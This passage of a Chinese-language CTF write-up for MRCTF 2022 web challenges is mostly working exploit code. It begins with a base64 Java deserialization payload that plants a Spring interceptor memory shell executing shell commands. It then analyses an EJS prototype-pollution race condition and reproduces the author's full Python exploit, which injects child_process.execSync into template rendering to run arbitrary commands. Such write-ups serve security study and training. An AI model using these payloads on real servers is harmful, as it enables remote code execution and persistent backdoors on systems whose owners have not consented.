+AYIVOACAAB4cAAAGOHK/rq+AAAANACwCgATAEkIAEoJAEsATAgATQoATgBPCABQCgBRAFIKAFMAVAoAEwBVCgANAFYHAFcIAFgHAFkHAFoHADEJAFsAXAoADQBdCgBeAF8HAGAKAFsAYQoAXgBiCgBjAGQIAGULAGYAZwcAaAgAaQsAGQBqBwBrCAA8CgANAGwKAG0AXwoAbQBuBwBvCgALAHAKAA0AcQoAIQByBwBzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMY29tL2V4YW1wbGUvZWFzeWphdmEvdGVzdDsBAAlwcmludE5hbWUBAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAHY29udGV4dAEAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAApFeGNlcHRpb25zBwB0BwB1BwB2BwB3BwB4BwB5AQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwAJgAnAQAtY29tLmV4YW1wbGUuZWFzeWphdmEuY29udHJvbGxlci5DbWRDb250cm9sbGVyBwB6DAB7AHwBAAdzdWNjZXNzBwB9DAB+AH8BC9B5djY2dmdBQUFEUUFpQW9BSUFCSENBQTRDd0JJQUVrTEFFb0FTd2dBVEFnQVRRb0FUZ0JQQ2dBTUFGQUlBRkVLQUF3QVVnY0FVd2NBVkFnQVZRZ0FWZ29BQ3dCWENBQllDQUJaQndCYUNnQUxBRnNLQUZ3QVhRb0FFZ0JlQ0FCZkNnQVNBR0FLQUJJQVlRb0FFZ0JpQ2dBU0FHTUtBR1FBWlFvQVpBQm1DZ0JrQUdNSEFHY0hBR2dIQUdrQkFBWThhVzVwZEQ0QkFBTW9LVllCQUFSRGIyUmxBUUFQVEdsdVpVNTFiV0psY2xSaFlteGxBUUFTVEc5allXeFdZWEpwWVdKc1pWUmhZbXhsQVFBRWRHaHBjd0VBTDB4amIyMHZaWGhoYlhCc1pTOWxZWE41YW1GMllTOWpiMjUwY205c2JHVnlMME50WkVOdmJuUnliMnhzWlhJN0FRQUpjSEpsU0dGdVpHeGxBUUJrS0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOME8weHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaVHRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwV2dFQUFYQUJBQnBNYW1GMllTOXNZVzVuTDFCeWIyTmxjM05DZFdsc1pHVnlPd0VBQm5keWFYUmxjZ0VBRlV4cVlYWmhMMmx2TDFCeWFXNTBWM0pwZEdWeU93RUFBVzhCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBRmpBUUFUVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUIzSmxjWFZsYzNRQkFDZE1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WeGRXVnpkRHNCQUFoeVpYTndiMjV6WlFFQUtFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaVHNCQUFkb1lXNWtiR1Z5QVFBU1RHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUVZMjlrWlFFQURWTjBZV05yVFdGd1ZHRmliR1VIQUZRSEFHb0hBRk1IQUZvSEFHZ0hBR3NIQUd3SEFHMEhBR2NCQUFwRmVHTmxjSFJwYjI1ekFRQVFUV1YwYUc5a1VHRnlZVzFsZEdWeWN3RUFDbE52ZFhKalpVWnBiR1VCQUJKRGJXUkRiMjUwY205c2JHVnlMbXBoZG1FTUFDRUFJZ2NBYXd3QWJnQnZCd0JzREFCd0FIRUJBQUFCQUFkdmN5NXVZVzFsQndCeURBQnpBRzhNQUhRQWRRRUFBM2RwYmd3QWRnQjNBUUFZYW1GMllTOXNZVzVuTDFCeWIyTmxjM05DZFdsc1pHVnlBUUFRYW1GMllTOXNZVzVuTDFOMGNtbHVad0VBQjJOdFpDNWxlR1VCQUFJdll3d0FJUUI0QVFBSEwySnBiaTl6YUFFQUFpMWpBUUFSYW1GMllTOTFkR2xzTDFOallXNXVaWElNQUhrQWVnY0Fld3dBZkFCOURBQWhBSDRCQUFKY1FRd0Fmd0NBREFDQkFJSU1BSU1BZFF3QWhBQWlCd0JxREFDRkFJWU1BSWNBSWdFQUUycGhkbUV2YkdGdVp5OUZlR05sY0hScGIyNEJBQzFqYjIwdlpYaGhiWEJzWlM5bFlYTjVhbUYyWVM5amIyNTBjbTlzYkdWeUwwTnRaRU52Ym5SeWIyeHNaWElCQUVGdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZTR0Z1Wkd4bGNrbHVkR1Z5WTJWd2RHOXlRV1JoY0hSbGNnRUFFMnBoZG1FdmFXOHZVSEpwYm5SWGNtbDBaWElCQUNWcVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOMEFRQW1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlVCQUJCcVlYWmhMMnhoYm1jdlQySnFaV04wQVFBTVoyVjBVR0Z5WVcxbGRHVnlBUUFtS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBbG5aWFJYY21sMFpYSUJBQmNvS1V4cVlYWmhMMmx2TDFCeWFXNTBWM0pwZEdWeU93RUFFR3BoZG1FdmJHRnVaeTlUZVhOMFpXMEJBQXRuWlhSUWNtOXdaWEowZVFFQUMzUnZURzkzWlhKRFlYTmxBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaGpiMjUwWVdsdWN3RUFHeWhNYW1GMllTOXNZVzVuTDBOb1lYSlRaWEYxWlc1alpUc3BXZ0VBRmloYlRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBQVZ6ZEdGeWRBRUFGU2dwVEdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56T3dFQUVXcGhkbUV2YkdGdVp5OVFjbTlqWlhOekFRQU9aMlYwU1c1d2RYUlRkSEpsWVcwQkFCY29LVXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3dFQUdDaE1hbUYyWVM5cGJ5OUpibkIxZEZOMGNtVmhiVHNwVmdFQURIVnpaVVJsYkdsdGFYUmxjZ0VBSnloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2ZFhScGJDOVRZMkZ1Ym1WeU93RUFCMmhoYzA1bGVIUUJBQU1vS1ZvQkFBUnVaWGgwQVFBRlkyeHZjMlVCQUFWM2NtbDBaUUVBRlNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFZnRUFCV1pzZFhOb0FDRUFId0FnQUFBQUFBQUNBQUVBSVFBaUFBRUFJd0FBQUM4QUFRQUJBQUFBQlNxM0FBR3hBQUFBQWdBa0FBQUFCZ0FCQUFBQUJ3QWxBQUFBREFBQkFBQUFCUUFtQUNjQUFBQUJBQ2dBS1FBREFDTUFBQUc2QUFZQUNRQUFBSzhyRWdLNUFBTUNBRG9FR1FUR0FLRXN1UUFFQVFBNkJSSUZPZ1lTQnJnQUI3WUFDQklKdGdBS21RQWl1d0FMV1FhOUFBeFpBeElOVTFrRUVnNVRXUVVaQkZPM0FBODZCNmNBSDdzQUMxa0d2UUFNV1FNU0VGTlpCQklSVTFrRkdRUlR0d0FQT2dlN0FCSlpHUWUyQUJPMkFCUzNBQlVTRnJZQUZ6b0lHUWkyQUJpWkFBc1pDTFlBR2FjQUJSa0dPZ1laQ0xZQUdoa0ZHUWEyQUJzWkJiWUFIQmtGdGdBZHB3QUZPZ1VEckFTc0FBRUFEd0NtQUtrQUhnQURBQ1FBQUFCR0FCRUFBQUFKQUFvQUNnQVBBQXdBRndBTkFCc0FEd0FyQUJBQVNnQVNBR1lBRkFCOEFCVUFrQUFXQUpVQUZ3Q2NBQmdBb1FBWkFLWUFHd0NwQUJvQXF3QWNBSzBBSGdBbEFBQUFaZ0FLQUVjQUF3QXFBQ3NBQndBWEFJOEFMQUF0QUFVQUd3Q0xBQzRBTHdBR0FHWUFRQUFxQUNzQUJ3QjhBQ29BTUFBeEFBZ0FBQUN2QUNZQUp3QUFBQUFBcndBeUFETUFBUUFBQUs4QU5BQTFBQUlBQUFDdkFEWUFOd0FEQUFvQXBRQTRBQzhBQkFBNUFBQUFPUUFIL2dCS0J3QTZCd0E3QndBNi9BQWJCd0E4L0FBbEJ3QTlRUWNBT3Y4QUdnQUZCd0ErQndBL0J3QkFCd0JCQndBNkFBRUhBRUlCQVFCREFBQUFCQUFCQUI0QVJBQUFBQTBEQURJQUFBQTBBQUFBTmdBQUFBRUFSUUFBQUFJQVJnPT0HAIAMAIEAggcAgwwAhACFDACGAIcMAIgAiQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwcAigwAiwCMDACNAI4HAI8MAJAAkQEAEGphdmEvbGFuZy9PYmplY3QMAJIAkwwAlACVBwCWDACXAJgBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAJkMAJoAmwEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwAnACdAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcMAJ4AnwcAoAwAoQCiAQATamF2YS91dGlsL0FycmF5TGlzdAwAowCkDAClAKYMAKcAqAEAGWNvbS9leGFtcGxlL2Vhc3lqYXZhL3Rlc3QBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAJG9yZy9zcHJpbmdmcmFtZXdvcmsvdXRpbC9CYXNlNjRVdGlscwEAEGRlY29kZUZyb21TdHJpbmcBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAqQoAqgBJAQAIPGNsaW5pdD4MAC0AJwoAJQCtAQANU3RhY2tNYXBUYWJsZQAhACUAqgAAAAAAAwABACYAJwABACgAAAAvAAEAAQAAAAUqtwCrsQAAAAIAKQAAAAYAAQAAAAsAKgAAAAwAAQAAAAUAKwAsAAAACQAtACcAAgAoAAABYQAGAAgAAACrEgJLsgADEgS2AAUSBrgAB0y4AAi2AAm2AApNEgsSDAe9AA1ZAxIOU1kEEg9TWQWyABBTWQayABBTtgARTi0EtgASLSwHvQATWQMqU1kEK1NZBQO4ABRTWQYrvrgAFFO2ABVXuAAWEhcDuQAYAwDAABk6BBkEEhq5ABsCAMAAHDoFEhwSHbYAHjoGGQYEtgAfGQYZBbYAIMAAIToHGQcsKrYAIrYAI7YAJFexAAAAAwApAAAAOgAOAAAADQADAA4ACwAPABEAEQAbABIAPQATAEIAFABjABUAcwAWAIEAFwCKABgAkAAZAJwAGgCqABsAKgAAAFIACAADAKgALgAvAAAAEQCaADAAMQABABsAkAAyADMAAgA9AG4ANAA1AAMAcwA4ADYANwAEAIEAKgA4ADkABQCKACEAOgA7AAYAnAAPADwAPQAHAD4AAAAMAAEAnAAPADwAPwAHAEAAAAAOAAYAQQBCAEMARABFAEYACACsACcAAQAoAAAAHgACAAIAAAAJpwADAUy4AK6xAAAAAQCvAAAAAwABAwABAEcAAAACAEhwdAAEdGVzdHB3AQB4dnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNxAH4AAD9AAAAAAAAAdwgAAAAQAAAAAHh4cQB+AAVxAH4ABnEAfgAGeA=='
res = requests.post(url=url, data=payload)
print(res.text)
Hurry_up
参考wp:https://github.com/BuptMerak/mrctf-2022-writeups/blob/main/offical/WEB.md#hurry_up
ejs原型链污染。原来在3.1.7原型链污染已经修复了,所以本地打不通。。。
先分析一手源码。
router.get('/hide',(req,res)=>{
var path = req.query.path;
var value = filter(req.query.value);
var o = req.session.obj ||{"Welcome":{"2":{"MRCTF2022":"Just store your secret.No one knows."}}};
if(path && value){
getValue.set(path,value,o)
}
req.session.obj=o;
return res.json(req.session.obj)
})
这里的 getValue.set(path,value,o)
可以看到源码,有类似于merge的操作(我看不出来XD,但是可以去/hide这里测试,可以发现)。所以可以搞一手原型链污染。但是渲染需要在/
目录下进行,所以污染了也不够。然后看到app.js:
app.use(async (req, res, next) => {
res.header(
"Content-Security-Policy",
"default-src 'self';"
);
await new Promise(function (resolve) {
for (var key in Object.prototype) {
console.log(key);
delete Object.prototype[key];
}
resolve()
}).then(next)
});
转到/
直接把原型链给干掉了。似乎没有办法诶。
exports.safeCheck = async function () {
return await new Promise(function (resolve) {
setTimeout(resolve, 100);
})
}
但是这里有个延迟,而且出现在渲染之前:
safeCheck()
.then(()=>{
return res.render("../views/test.ejs", {"path": path, "value": value})
})
.catch(()=>{
return res.end()
})
然后跟node的处理有关
我们知道,对于node,所有请求共用同一个环境,这也就是为什么如果一个请求污染到了原型链,那么之后所有的请求都会受到影响。所以如果,我们在进入
/
之后,而赶在模板渲染之前,在另外一个请求中完成对原型链的污染,这样就可以了。由于node是单线程异步非阻塞模式的,意味着如果一个请求没有处理结束或进入阻塞,下一个请求是不会开始处理的。而在这个题目中,其实有几行很扎眼的代码,帮助我们让给到/的请求在模板渲染前进入阻塞。
所以可以搞一手条件竞争。贴一个出题者的exp:
import requests
import threading
from pwn import *
import time
import random
ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
flag1 = True
tempTime = 20
url = "http://" + ip + ":" + str(port) + "/"
def attack(command):
global flag1
t1 = threading.Thread(target=tar1, args=(command,))
t2 = threading.Thread(target=tar2)
t2.start()
# time.sleep(random.random())
t1.start()
# time.sleep(2)
def tar1(command):
global flag1
ran1 = -1
time1 = -1
while flag1:
print("tar1")
ran1 = random.random()
time.sleep(ran1)
requests.get(
url + "hide",
params={
"path": "a.__proto__.outputFunctionName",
"value": '''a=1;
return process.mainModule.require('child_process').execSync('{}').toString();
var b'''.format(command)
})
time1 = time.time()
# flag1=False
print("ran1=" + str(time1))
s = b'''GET / HTTP/1.1
Host: 127.0.0.1:4000
Connection: close
Pragma: no-cache
Cache-Control: no-cache
'''
def tar2():
global flag1
global tempTime
try:
while tempTime > 0:
ran2 = random.random()
time.sleep(ran2)
io = remote(ip, port)
io.send(s)
time2 = time.time()
re = io.recv()
# print(re)
if (b'MRCTF{' in re):
print(re)
flag1 = False
print("ran2=" + str(time2))
return
io.close()
tempTime = tempTime - 1
print("fialed!")
flag1 = False
except:
flag1 = False
if __name__ == '__main__':
attack(command)
# python3 ./exp.py 127.0.0.1 4000 'cat /flag'